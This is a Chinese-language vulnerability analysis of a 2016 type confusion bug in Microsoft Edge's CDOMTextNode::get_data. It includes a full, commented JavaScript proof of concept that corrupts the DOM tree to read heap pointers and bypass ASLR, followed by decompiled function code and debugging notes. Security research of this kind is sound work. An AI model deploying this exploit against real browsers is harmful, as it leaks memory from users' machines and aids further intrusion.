1. Vulnerability Description
1.1 The Issue
MS Edge CDOMTextNode::get_data type confusion
特别构造的JavaScript脚本可以触发Microsoft Edge的type confusion,使得可以像访问字符串一样访问C++对象。 这可能导致信息泄露,例如允许攻击者确定指向其他对象或函数的指针的值。
1.2 Affect version
Microsoft Edge 20.10240.16384.0
1.3 Timeline
01/12/2016 Advisory disclosed
01/12/2016 +0 days Countermeasure disclosed
01/12/2016 +0 days SecurityTracker entry created
01/12/2016 +0 days VulnerabilityCenter entry assigned
01/13/2016 +1 days VulnerabilityCenter entry created
01/14/2016 +1 days VulDB entry created
01/17/2016 +3 days VulnerabilityCenter entry updated
01/19/2016 +2 days VulDB last update
2. Technical description and PoC
2.1 Description
在DOM树中将一个节点作为子节点加到另一个节点时,Edge首先从其父节点中删除该节点,触发DOMNodeRemoved事件,然后重新附加该节点作为另一个节点的最后一个子节点。
而在DOMNodeRemoved事件发生时,JavaScript的事件处理器可以更改DOM树,我们尝试在触发DOMNodeRemoved事件时向同一个父节点插入另一个文本子节点,这个操作在事件期间完成,因此该文本子节点在触发事件的节点之前作为子节点附加。
而在触发DOMNodeRemoved事件处理程序之前,代码似乎确定了节点应该被附加的位置,因此最开始插入的节点在父文本节点之前而不是之后被插入。
因为bug的存在,在完成所有这些操作后,DOM树已被破坏。这可以通过检查文本节点的.nextSibling属性是文本节点本身来确认, 即DOM树中有一个循环。
另一个效果是,读取文本节点的nodeValue将导致类型混淆。这里Edge访问文本节点中存储的文本数据时,实际访问的却是一个C++对象。这样可以让攻击者读取存储在这个C++对象中的数据,其中包含各种指针。
2.2 JavaScript PoC
Skylined给出了一个读取并显示DOM树对象的部分内容的PoC。该PoC已经在x64系统上进行了测试,允许攻击者绕过堆ASLR,读取堆指针。
读取的数据量可以由攻击者控制,并且可以读取分配给C++对象的内存之外的数据。攻击者可能能够使用一些堆的技巧将其他对象与C++DOM树对象中的有用信息放置在内存中,并从第二个对象读取数据。
exp如下
<html>
<head>
<script>
var uNodeRemovedEvents = 0;
onerror = function (sError, sSource, uLine){
alert(sError + " on line " + uLine);
};
document.addEventListener("DOMNodeRemoved", function(oEvent) {
if (uNodeRemovedEvents++ == 0) {
oTextNode = document.createTextNode("[2]");
// 这里有一个需要注意的地方
// insertBefore在Edge中如果没有第二个参数,那么等同于appendChild
// 但是其他浏览器是不支持的
// 作者这里用insertBefore是为了更好的去判断是否有一个堆因为此处操作被allocated
// 用于和之后的appendChild调用区分开
document.body.insertBefore(oTextNode);
};
}, true);
onload = function(){
// onload中首先执行的是appendChild
// 这里oExistingChild已经有了父节点,所以会先从父节点移除这个元素,然后把它作为新父节点的最后一个子节点
// 其中移除操作会触发DOMNodeRemoved事件,而增加操作会触发DOMNodeInserted事件。
document.body.appendChild(oExistingChild);
// 但是,在oExistingChild触发DOMNodeRemoved事件时,
// oTextNode插入了节点中
// 最后oExistingChild成为了最后一个元素
// 但是这里出现了一个bug
// oTextNode的nextSibling指向了自己
// 在这里,DOM树出现了一种类似循环的结构
for (var oNode = document.body.firstChild; oNode && oNode != oNode.nextSibling; oNode = oNode.nextSibling) {
// 加上这段代码是为了防止被Edge检测到树的结构出现了问题
// 如果没有这段代码Js执行到这里的时候就会崩溃
}
if (oTextNode.nextSibling !== oTextNode) {
// 未触发漏洞时报错
throw new Error("Tree is not corrupt");
}
alert("Set breakpoints if needed");
// 这里是为了生成一个copy
var sData = ("A" + oTextNode.nodeValue).substr(1);
// 下面的逻辑是读取oTextNode.nodeValue的值
// 但实际上是内存中某块的位置
// 在读取之后按规则格式化输出
var sHexData = "Read 0x" + sData.length.toString(16);
sHexData += " bytes: ????????`????????";
sHexQWord = "`????????";
for (var uBytes = 4, uOffset = 4, uIndex = 0; uIndex < sData.length; uIndex++) {
var sHexWord = sData.charCodeAt(uIndex).toString(16);
while (sHexWord.length < 4) sHexWord = "0" + sHexWord;
sHexQWord = sHexWord + sHexQWord;
uBytes += 2;
if (uBytes == 4) sHexQWord = "`" + sHexQWord;
if (uBytes == 8) {
sHexData += " " + sHexQWord;
sHexQWord = "";
uBytes = 0;
};
};
if (sHexQWord) {
while (sHexQWord.length < 17) {
if (sHexQWord.length == 8) sHexQWord += "`";
sHexQWord = "????" + sHexQWord;
}
sHexData += " " + sHexQWord;
}
alert(sHexData);
// 代码执行到这里的时候会crash
// 但是这里已经可以读取栈上的数据了
oTextNode.nodeValue = "";
};
</script>
</head>
<body>x<x id=oExistingChild></x></body>
</html>
2.3 Code Analyze
上面这个利用流程,比较关键的几个函数是CDOMTextNode::get_data、CDOMTextNode::get_length
读取数据的函数是CDOMTextNode::get_data,代码如下
__int64 __fastcall CDOMTextNode::get_data(CDOMTextNode *this, unsigned __int16 **a2)
{
unsigned __int16 **v2; // rbx@1
CDOMTextNode *this_rdi; // rdi@1
Tree::TextData *v4; // rcx@2
__int32 v5; // eax@4
BSTR v6; // rax@4
int v7; // ebp@4
struct CTreePos *v8; // rax@4
struct CTreePos *v9; // rsi@4
Tree::TextNode *v10; // rdi@4
unsigned __int16 *v11; // rax@5
Tree::ANode *v12; // rax@5
CTreePos *v13; // rcx@6
__int64 v14; // r9@9
const OLECHAR *v15; // rax@9
UINT v16; // er9@9
BSTR v17; // rax@9
UINT ui; // [sp+48h] [bp+10h]@4
unsigned __int32 v20; // [sp+50h] [bp+18h]@5
v2 = a2;
this_rdi = this;
if ( a2 )
{
*a2 = 0i64;
v4 = (Tree::TextData *)*((_QWORD *)this + 6);
if ( v4 )
{
v14 = *(_DWORD *)v4;
v15 = Tree::TextData::GetText(v4, 0, 0i64);
v17 = SysAllocStringLen(v15, v16);
*v2 = (unsigned __int16 *)Abandonment::CheckAllocationUntyped(v17);
}
else if ( CDOMTextNode::IsPositioned(this_rdi) )
{
ui = 0;
v5 = CDOMTextNode::get_length(this_rdi, (__int32 *)&ui);
Abandonment::CheckHRESULTStrict(v5);
v6 = SysAllocStringLen(0i64, ui);
*v2 = (unsigned __int16 *)Abandonment::CheckAllocationUntyped(v6);
v7 = 0;
LODWORD(v8) = Tree::TextNode::TextNodeFromDOMTextNode((__int64)this_rdi);
v9 = v8;
v10 = v8;
do
{
v11 = Tree::TextNode::Text(v10, 0, &v20);
memcpy_s(&(*v2)[v7], 2i64 * (signed int)(ui - v7), v11, 2i64 * v20);
v7 += v20;
v12 = Tree::TreeReader::GetNextSiblingWithFilter(
v10,
(enum Tree::NodeFilterResultsEnum (__stdcall __high static *)(const struct Tree::ANode *))&Dom::TreeReader::ScriptableIdentityFilter);
v10 = v12;
}
while ( v12 && Tree::ANode::IsTextNode(v12) && CTreePos::IsSameTextOrCDataNode(v13, v9) );
}
}
return 0i64;
}
在函数中有一次调用
CDOMTextNode::get_length(this_rdi, (__int32 *)&ui)
代码如下,其中a2的值是ui,也就是0,而CDOMTextNode::IsPositioned(this)返回值为真,即进入了第二个逻辑,在该逻辑中进行了长度的处理
获取长度后,则在get_data函数中,在memcpy_s(&(*v2)[v7], 2i64 * (signed int)(ui - v7), v11, 2i64 * v20)
这行代码利用memcpy_s不断读取内存中的值至长度到达之前get_length函数返回的值位置。
这里读取的是v11指向中保存地址指向的值,那我们再上溯,v11 = Tree::TextNode::Text(v10, 0, &v20);
,其中v10的值是Tree::TextNode::TextNodeFromDOMTextNode返回的一个结构体指针,而调用该函数的参数是rcx。
__int64 __fastcall CDOMTextNode::get_length(CDOMTextNode *this, __int32 *a2)
{
__int32 *v2; // rax@1
signed int v3; // ebx@1
__int32 *v4; // rsi@1
CDOMTextNode *v5; // rdi@1
struct CTreePos *v7; // rax@6
struct CTreePos *v8; // rbp@6
struct CTreePos *v9; // r11@6
__int32 v10; // edi@6
Tree::ANode *v11; // rax@7
CTreePos *v12; // rcx@8
v2 = (__int32 *)*((_QWORD *)this + 6);
v3 = 0;
v4 = a2;
v5 = this;
if ( v2 )
{
*a2 = *v2;
}
else if ( CDOMTextNode::IsPositioned(this) )
{
LODWORD(v7) = Tree::TextNode::TextNodeFromDOMTextNode((__int64)v5);
v8 = v7;
v9 = v7;
v10 = 0;
do
{
v10 += **((_DWORD **)v9 + 7);
v11 = Tree::TreeReader::GetNextSiblingWithFilter(
v9,
(enum Tree::NodeFilterResultsEnum (__stdcall __high static *)(const struct Tree::ANode *))&Dom::TreeReader::ScriptableIdentityFilter);
}
while ( v11 && Tree::ANode::IsTextNode(v11) && CTreePos::IsSameTextOrCDataNode(v12, v8) );
*v4 = v10;
}
else
{
v3 = -2147024809;
}
return (unsigned int)v3;
}
2.4 Dynamic Analysis
对get_data下断点后开始单步跟踪,发现这里get_length函数的返回值和节点oExistingChild的长度相关,也就是说,这里出现了一个bug,在本来应该读取textnode的长度的时候,返回了一个和oExistingChild长度相关的数值,即我们可以一定程度上控制读取的数据长度,当然,这里数据如果太长,在读取的时候会触发一个访问错误,导致进程崩溃无法继续读取。
最后结合动态调试和代码分析发现length是从结构体指针处偏移0x1c的位置指向的指针指向的位置中取出来,即first_struct->other_struct->length。而读取的地址位置则是结构体指针偏移0xC的位置。
3. References
1. zerodayinitiative
2. microsoft
3. securitytracker
4. cve.mitre.org
5. vuldb
6. skylined blog